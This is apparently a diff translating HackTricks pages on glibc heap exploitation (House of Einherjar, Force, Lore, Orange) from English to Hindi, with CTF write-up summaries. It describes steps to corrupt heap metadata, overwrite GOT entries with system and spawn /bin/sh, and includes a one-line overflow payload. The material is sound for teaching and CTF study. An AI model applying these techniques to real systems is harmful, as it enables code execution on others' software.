विशिष्ट आकार के ऑब्जेक्ट के साथ इस भराई को मजबूर करने के लिए, **iOS mach port से संबंधित आउट-ऑफ-लाइन आवंटन** एक आदर्श उम्मीदवार है। संदेश के आकार को तैयार करके, `kalloc` आवंटन के आकार को सटीक रूप से निर्दिष्ट करना संभव है और जब संबंधित mach port नष्ट होता है, तो संबंधित आवंटन तुरंत `kfree` पर वापस जारी किया जाएगा।
|
||||
|
||||
Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, it’s probable that this object will be followed by a victim object.
|
||||
फिर, इनमें से कुछ प्लेसहोल्डर्स को **मुक्त** किया जा सकता है। **`kalloc.4096` फ्री लिस्ट तत्वों को अंतिम-में-प्रथम-से-निकालने के क्रम में जारी करती है**, जिसका मूल रूप से मतलब है कि यदि कुछ प्लेसहोल्डर्स मुक्त किए जाते हैं और शोषण कई पीड़ित ऑब्जेक्ट्स को आवंटित करने की कोशिश करता है जबकि ओवरफ्लो के लिए संवेदनशील ऑब्जेक्ट को आवंटित करने की कोशिश करता है, तो यह संभावना है कि यह ऑब्जेक्ट एक पीड़ित ऑब्जेक्ट द्वारा अनुसरण किया जाएगा।
|
||||
|
||||
### Example libc
|
||||
|
||||
[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also.
|
||||
[**इस पृष्ठ में**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) एक बुनियादी Heap overflow अनुकरण पाया जा सकता है जो दिखाता है कि अगले चंक के पूर्व में उपयोग बिट और पूर्व आकार की स्थिति को ओवरराइट करके **एक उपयोग किए गए चंक को समेकित करना** (इसे अनयूज्ड समझाना) और **फिर से इसे आवंटित करना** संभव है जिससे कि एक अलग पॉइंटर में उपयोग किए जा रहे डेटा को ओवरराइट किया जा सके।
|
||||
|
||||
Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**.
|
||||
[**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) से एक और उदाहरण एक बहुत बुनियादी CTF का उदाहरण दिखाता है जहां **heap overflow** का दुरुपयोग करके विजेता फ़ंक्शन को **फ्लैग प्राप्त करने के लिए** कॉल किया जा सकता है।
|
||||
|
||||
In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to.
|
||||
[**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) उदाहरण में यह देखा जा सकता है कि एक बफर ओवरफ्लो का दुरुपयोग करके **एक निकट चंक में एक पता ओवरराइट करना** संभव है जहां **उपयोगकर्ता से मनमाना डेटा** लिखा जाएगा।
|
||||
|
||||
### Example ARM64
|
||||
|
||||
In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as:
|
||||
|
||||
पृष्ठ [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) में आप एक heap overflow उदाहरण पा सकते हैं जहां एक कमांड जो निष्पादित होने वाली है, ओवरफ्लो किए गए चंक से अगले चंक में स्टोर की गई है। इसलिए, इसे एक आसान शोषण जैसे कि इसे ओवरराइट करके निष्पादित कमांड को संशोधित करना संभव है:
|
||||
```bash
|
||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
```
|
||||
|
||||
### Other examples
|
||||
### अन्य उदाहरण
|
||||
|
||||
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
|
||||
- We use an Integer Overflow vulnerability to get a Heap Overflow.
|
||||
- We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
|
||||
- हम Heap Overflow प्राप्त करने के लिए एक Integer Overflow भेद्यता का उपयोग करते हैं।
|
||||
- हम एक `struct` के अंदर एक फ़ंक्शन के लिए पॉइंटर्स को भ्रष्ट करते हैं जो ओवरफ्लो किए गए चंक में है ताकि `system` जैसे फ़ंक्शन को सेट किया जा सके और कोड निष्पादन प्राप्त किया जा सके।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,44 +6,44 @@
|
||||
|
||||
### Code
|
||||
|
||||
- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
|
||||
- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache)
|
||||
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) से उदाहरण देखें
|
||||
- या [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) से (आपको tcache भरने की आवश्यकता हो सकती है)
|
||||
|
||||
### Goal
|
||||
|
||||
- The goal is to allocate memory in almost any specific address.
|
||||
- लक्ष्य लगभग किसी भी विशिष्ट पते पर मेमोरी आवंटित करना है।
|
||||
|
||||
### Requirements
|
||||
|
||||
- Create a fake chunk when we want to allocate a chunk:
|
||||
- Set pointers to point to itself to bypass sanity checks
|
||||
- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag.
|
||||
- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk
|
||||
- The fake chunk size must also have been set the same size to bypass sanity checks
|
||||
- For constructing these chunks, you will need a heap leak.
|
||||
- जब हम एक चंक आवंटित करना चाहते हैं तो एक नकली चंक बनाएं:
|
||||
- सैनीटी चेक को बायपास करने के लिए पॉइंटर्स को अपने आप पर सेट करें
|
||||
- `PREV_INUSE` फ्लैग को संशोधित करने के लिए एक चंक से अगले चंक में एक बाइट ओवरफ्लो के साथ एक नल बाइट।
|
||||
- नल द्वारा अपमानित चंक के `prev_size` में अपने और नकली चंक के बीच का अंतर इंगित करें
|
||||
- नकली चंक का आकार भी सैनीटी चेक को बायपास करने के लिए समान आकार में सेट किया जाना चाहिए
|
||||
- इन चंक्स का निर्माण करने के लिए, आपको एक हीप लीक की आवश्यकता होगी।
|
||||
|
||||
### Attack
|
||||
|
||||
- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections
|
||||
- 2 other chunks (`B` and `C`) are allocated
|
||||
- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before
|
||||
- This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks.
|
||||
- Then, the tcache is filled
|
||||
- Then, `C` is freed so it consolidates with the fake chunk `A`
|
||||
- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk
|
||||
- The house of Einherjar finishes here
|
||||
- This can be continued with a fast bin attack or Tcache poisoning:
|
||||
- Free `B` to add it to the fast bin / Tcache
|
||||
- `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside) 
|
||||
- Then, 2 mallocs are done and the second one is going to be **allocating the target address**
|
||||
- `A` नकली चंक एक चंक के अंदर बनाया गया है जिसे हमलावर द्वारा नियंत्रित किया जाता है जो मूल चंक को बायपास करने के लिए `fd` और `bk` के साथ इंगित करता है
|
||||
- 2 अन्य चंक्स (`B` और `C`) आवंटित किए जाते हैं
|
||||
- `B` में एक द्वारा एक का दुरुपयोग करते हुए `prev in use` बिट को साफ किया जाता है और `prev_size` डेटा को `C` चंक के आवंटन के स्थान से पहले उत्पन्न नकली `A` चंक के बीच के अंतर के साथ ओवरराइट किया जाता है
|
||||
- यह `prev_size` और नकली चंक `A` में आकार समान होना चाहिए ताकि चेक को बायपास किया जा सके।
|
||||
- फिर, tcache भरा जाता है
|
||||
- फिर, `C` को मुक्त किया जाता है ताकि यह नकली चंक `A` के साथ समेकित हो जाए
|
||||
- फिर, एक नया चंक `D` बनाया जाता है जो नकली `A` चंक में शुरू होगा और `B` चंक को कवर करेगा
|
||||
- Einherjar का घर यहाँ समाप्त होता है
|
||||
- इसे एक तेज़ बिन हमले या Tcache विषाक्तता के साथ जारी रखा जा सकता है:
|
||||
- तेज़ बिन / Tcache में जोड़ने के लिए `B` को मुक्त करें
|
||||
- `B` का `fd` ओवरराइट किया जाता है जिससे यह लक्षित पते की ओर इंगित करता है जो `D` चंक का दुरुपयोग करता है (क्योंकि इसमें `B` शामिल है) 
|
||||
- फिर, 2 mallocs किए जाते हैं और दूसरा **लक्षित पते को आवंटित करने जा रहा है**
|
||||
|
||||
## References and other examples
|
||||
|
||||
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
|
||||
- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
|
||||
- After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets.
|
||||
- पॉइंटर्स को मुक्त करने के बाद उन्हें नल नहीं किया जाता है, इसलिए उनके डेटा तक पहुंचना अभी भी संभव है। इसलिए एक चंक अनसॉर्टेड बिन में रखा जाता है और इसमें शामिल पॉइंटर्स को लीक किया जाता है (libc leak) और फिर एक नया हीप अनसॉर्टेड बिन पर रखा जाता है और इसे प्राप्त किए गए पॉइंटर से एक हीप पता लीक किया जाता है।
|
||||
- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
|
||||
- Null-byte overflow bug in `strtok`.
|
||||
- Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive.
|
||||
- `strtok` में नल-बाइट ओवरफ्लो बग।
|
||||
- Tcache विषाक्तता के साथ एक ओवरलैपिंग चंक्स स्थिति प्राप्त करने और मनमाने लिखने की प्राइमिटिव प्राप्त करने के लिए House of Einherjar का उपयोग करें।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,41 +6,39 @@
|
||||
|
||||
### Code
|
||||
|
||||
- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size`
|
||||
- You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want.
|
||||
- यह तकनीक पैच की गई थी ([**यहाँ**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) और यह त्रुटि उत्पन्न करती है: `malloc(): corrupted top size`
|
||||
- आप इसे परीक्षण करने के लिए [**कोड यहाँ से**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) आजमा सकते हैं यदि आप चाहें।
|
||||
|
||||
### Goal
|
||||
|
||||
- The goal of this attack is to be able to allocate a chunk in a specific address.
|
||||
- इस हमले का लक्ष्य एक विशिष्ट पते पर एक चंक आवंटित करने में सक्षम होना है।
|
||||
|
||||
### Requirements
|
||||
|
||||
- An overflow that allows to overwrite the size of the top chunk header (e.g. -1).
|
||||
- Be able to control the size of the heap allocation
|
||||
- एक ओवरफ्लो जो शीर्ष चंक हेडर के आकार को ओवरराइट करने की अनुमति देता है (जैसे -1)।
|
||||
- हीप आवंटन के आकार को नियंत्रित करने में सक्षम होना
|
||||
|
||||
### Attack
|
||||
|
||||
If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space.
|
||||
|
||||
Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated:
|
||||
यदि एक हमलावर P पते पर एक चंक आवंटित करना चाहता है ताकि यहाँ एक मान को ओवरराइट किया जा सके। वह शीर्ष चंक के आकार को `-1` से ओवरराइट करके शुरू करता है (शायद एक ओवरफ्लो के साथ)। यह सुनिश्चित करता है कि malloc किसी भी आवंटन के लिए mmap का उपयोग नहीं करेगा क्योंकि शीर्ष चंक के पास हमेशा पर्याप्त स्थान होगा।
|
||||
|
||||
फिर, शीर्ष चंक के पते और आवंटित करने के लिए लक्षित स्थान के बीच की दूरी की गणना करें। इसका कारण यह है कि उस आकार के साथ एक malloc किया जाएगा ताकि शीर्ष चंक को उस स्थिति में स्थानांतरित किया जा सके। इस प्रकार अंतर/आकार को आसानी से गणना किया जा सकता है:
|
||||
```c
|
||||
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
|
||||
/*
|
||||
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
|
||||
* new_top = old_top + nb
|
||||
* nb = new_top - old_top
|
||||
* req + 2sizeof(long) = new_top - old_top
|
||||
* req = new_top - old_top - 2sizeof(long)
|
||||
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
|
||||
* req = target - old_top - 4*sizeof(long)
|
||||
*/
|
||||
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
|
||||
* new_top = old_top + nb
|
||||
* nb = new_top - old_top
|
||||
* req + 2sizeof(long) = new_top - old_top
|
||||
* req = new_top - old_top - 2sizeof(long)
|
||||
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
|
||||
* req = target - old_top - 4*sizeof(long)
|
||||
*/
|
||||
```
|
||||
इसलिए, `target - old_top - 4*sizeof(long)` का आकार आवंटित करना (4 longs शीर्ष टुकड़े और नए टुकड़े के मेटाडेटा के कारण है जब आवंटित किया जाता है) शीर्ष टुकड़े को उस पते पर ले जाएगा जिसे हम ओवरराइट करना चाहते हैं।\
|
||||
फिर, लक्ष्य पते पर एक टुकड़ा प्राप्त करने के लिए एक और malloc करें।
|
||||
|
||||
Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\
|
||||
Then, do another malloc to get a chunk at the target address.
|
||||
|
||||
### References & Other Examples
|
||||
### संदर्भ और अन्य उदाहरण
|
||||
|
||||
- [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
|
||||
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/)
|
||||
@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address.
|
||||
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
|
||||
- [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)
|
||||
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11)
|
||||
- The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function
|
||||
- The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff)
|
||||
- Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc`
|
||||
- Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function
|
||||
- इस परिदृश्य का लक्ष्य एक ret2win है जहां हमें उस फ़ंक्शन के पते को संशोधित करने की आवश्यकता है जिसे ret2win फ़ंक्शन के पते द्वारा कॉल किया जाएगा
|
||||
- बाइनरी में एक ओवरफ्लो है जिसका दुरुपयोग शीर्ष टुकड़े के आकार को संशोधित करने के लिए किया जा सकता है, जिसे -1 या p64(0xffffffffffffffff) में संशोधित किया गया है
|
||||
- फिर, उस स्थान के लिए पता निकाला जाता है जहां ओवरराइट करने के लिए पॉइंटर मौजूद है, और वहां से शीर्ष टुकड़े की वर्तमान स्थिति के बीच का अंतर `malloc` के साथ आवंटित किया जाता है
|
||||
- अंततः एक नया टुकड़ा आवंटित किया जाता है जिसमें यह इच्छित लक्ष्य होता है जिसे ret2win फ़ंक्शन द्वारा ओवरराइट किया जाता है
|
||||
- [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
||||
- In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap
|
||||
- Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**.
|
||||
- Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh`
|
||||
- An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`.
|
||||
- `Input your name:` में एक प्रारंभिक भेद्यता है जो हीप से एक पता लीक करने की अनुमति देती है
|
||||
- फिर `Org:` और `Host:` कार्यक्षमता में, **org name** के लिए पूछे जाने पर `s` पॉइंटर के 64B को भरना संभव है, जो स्टैक में v2 के पते के बाद आता है, जो फिर निर्दिष्ट **host name** के बाद आता है। चूंकि, strcpy `s` की सामग्री को 64B के आकार के टुकड़े में कॉपी करने जा रहा है, इसलिए **host name** के अंदर रखे गए डेटा के साथ **top chunk के आकार को ओवरराइट करना** संभव है।
|
||||
- अब जब मनमाना लेखन संभव है, `atoi` का GOT printf के पते पर ओवरराइट किया गया। इसके साथ `%24$p` के साथ `IO_2_1_stderr` का पता लीक करना संभव था। और इस libc लीक के साथ `atoi` के GOT को फिर से `system` के पते के साथ ओवरराइट करना और इसे `/bin/sh` पास करते हुए कॉल करना संभव था
|
||||
- एक वैकल्पिक विधि [इस अन्य लेख में प्रस्तावित](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud) है, `free` को `puts` के साथ ओवरराइट करना, और फिर उस पॉइंटर में `atoi@got` का पता जोड़ना जिसे बाद में मुक्त किया जाएगा ताकि यह लीक हो जाए और इस लीक के साथ फिर से `atoi@got` को `system` के साथ ओवरराइट किया जाए और इसे `/bin/sh` के साथ कॉल किया जाए।
|
||||
- [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
|
||||
- There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function.
|
||||
- Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content.
|
||||
- एक UAF है जो बिना पॉइंटर को साफ किए एक टुकड़े का पुन: उपयोग करने की अनुमति देता है। कुछ पढ़ने की विधियों के कारण, यह संभव है कि एक libc पता लीक किया जाए, यहाँ free फ़ंक्शन के लिए एक पॉइंटर लिखकर और फिर पढ़ने की फ़ंक्शन को कॉल करके।
|
||||
- फिर, House of force का उपयोग किया गया (UAF का दुरुपयोग करते हुए) बाएं स्थान के आकार को -1 के साथ ओवरराइट करने के लिए, एक ऐसा टुकड़ा आवंटित करने के लिए जो मुक्त हुक तक पहुँचने के लिए पर्याप्त बड़ा हो, और फिर एक और टुकड़ा आवंटित करें जिसमें मुक्त हुक होगा। फिर, हुक में `system` का पता लिखें, एक टुकड़े में `"/bin/sh"` लिखें और अंततः उस स्ट्रिंग सामग्री के साथ टुकड़े को मुक्त करें।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,37 +6,37 @@
|
||||
|
||||
### Code
|
||||
|
||||
- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
|
||||
- This isn't working
|
||||
- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
|
||||
- This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected`
|
||||
- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) 
|
||||
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) से एक चेक करें
|
||||
- यह काम नहीं कर रहा है
|
||||
- या: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
|
||||
- यह काम नहीं कर रहा है भले ही यह कुछ चेक को बायपास करने की कोशिश करता है और त्रुटि मिलती है: `malloc(): unaligned tcache chunk detected`
|
||||
- यह उदाहरण अभी भी काम कर रहा है: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) 
|
||||
|
||||
### Goal
|
||||
|
||||
- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\
|
||||
Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position.
|
||||
- एक **फर्जी छोटे चंक को छोटे बिन में डालें ताकि इसे आवंटित करना संभव हो सके**।\
|
||||
ध्यान दें कि जो छोटा चंक जोड़ा गया है वह हमलावर द्वारा बनाया गया फर्जी है और किसी मनमाने स्थान में नहीं है।
|
||||
|
||||
### Requirements
|
||||
|
||||
- Create 2 fake chunks and link them together and with the legit chunk in the small bin:
|
||||
- `fake0.bk` -> `fake1`
|
||||
- `fake1.fd` -> `fake0`
|
||||
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
|
||||
- `legit.bk` -> `fake0`
|
||||
- 2 फर्जी चंक्स बनाएं और उन्हें एक साथ और छोटे बिन में वैध चंक के साथ लिंक करें:
|
||||
- `fake0.bk` -> `fake1`
|
||||
- `fake1.fd` -> `fake0`
|
||||
- `fake0.fd` -> `legit` (आपको किसी अन्य कमजोरियों के माध्यम से मुक्त छोटे बिन चंक में एक पॉइंटर को संशोधित करने की आवश्यकता है)
|
||||
- `legit.bk` -> `fake0`
|
||||
|
||||
Then you will be able to allocate `fake0`.
|
||||
फिर आप `fake0` को आवंटित करने में सक्षम होंगे।
|
||||
|
||||
### Attack
|
||||
|
||||
- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.**
|
||||
- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks:
|
||||
- `fake0.bk` -> `fake1`
|
||||
- `fake1.fd` -> `fake0`
|
||||
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
|
||||
- `legit.bk` -> `fake0`
|
||||
- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins
|
||||
- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it.
|
||||
- एक छोटा चंक (`legit`) आवंटित किया जाता है, फिर एक और आवंटित किया जाता है ताकि शीर्ष चंक के साथ समेकन को रोका जा सके। फिर, `legit` को मुक्त किया जाता है (इसे असंरचित बिन सूची में ले जाना) और एक बड़ा चंक आवंटित किया जाता है, **`legit` को छोटे बिन में ले जाना।**
|
||||
- एक हमलावर कुछ फर्जी छोटे चंक्स उत्पन्न करता है, और आवश्यक लिंकिंग करता है ताकि सैनीटी चेक को बायपास किया जा सके:
|
||||
- `fake0.bk` -> `fake1`
|
||||
- `fake1.fd` -> `fake0`
|
||||
- `fake0.fd` -> `legit` (आपको किसी अन्य कमजोरियों के माध्यम से मुक्त छोटे बिन चंक में एक पॉइंटर को संशोधित करने की आवश्यकता है)
|
||||
- `legit.bk` -> `fake0`
|
||||
- एक छोटा चंक आवंटित किया जाता है ताकि वैध प्राप्त किया जा सके, **`fake0`** को छोटे बिन की शीर्ष सूची में बना दिया जाए
|
||||
- एक और छोटा चंक आवंटित किया जाता है, `fake0` को एक चंक के रूप में प्राप्त करते हुए, जिससे इसके अंदर पॉइंटर्स को पढ़ने/लिखने की संभावना हो।
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
### Code
|
||||
|
||||
- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
|
||||
- The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26)
|
||||
- The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26)
|
||||
- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
|
||||
|
||||
### Goal
|
||||
@ -23,49 +23,49 @@
|
||||
|
||||
Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
|
||||
|
||||
Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\
|
||||
This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\
|
||||
Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution
|
||||
बात यह है कि, libc के पुराने संस्करणों में, जब `malloc_printerr` फ़ंक्शन को कॉल किया जाता था, तो यह **`_IO_list_all`** में संग्रहीत `_IO_FILE` संरचनाओं की एक सूची के माध्यम से **आवर्तन** करता था, और वास्तव में उस संरचना में एक निर्देशांक प्वाइंटर को **निष्पादित** करता था।\
|
||||
यह हमला एक **नकली `_IO_FILE` संरचना** बनाएगा जिसे हम **`_IO_list_all`** में लिखेंगे, और `malloc_printerr` को चलाने का कारण बनेगा।\
|
||||
फिर यह **कोई भी पता** निष्पादित करेगा जो हमने **`_IO_FILE`** संरचनाओं की जंप तालिका में संग्रहीत किया है, और हमें कोड निष्पादन मिलेगा।
|
||||
|
||||
### Attack
|
||||
|
||||
The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set.
|
||||
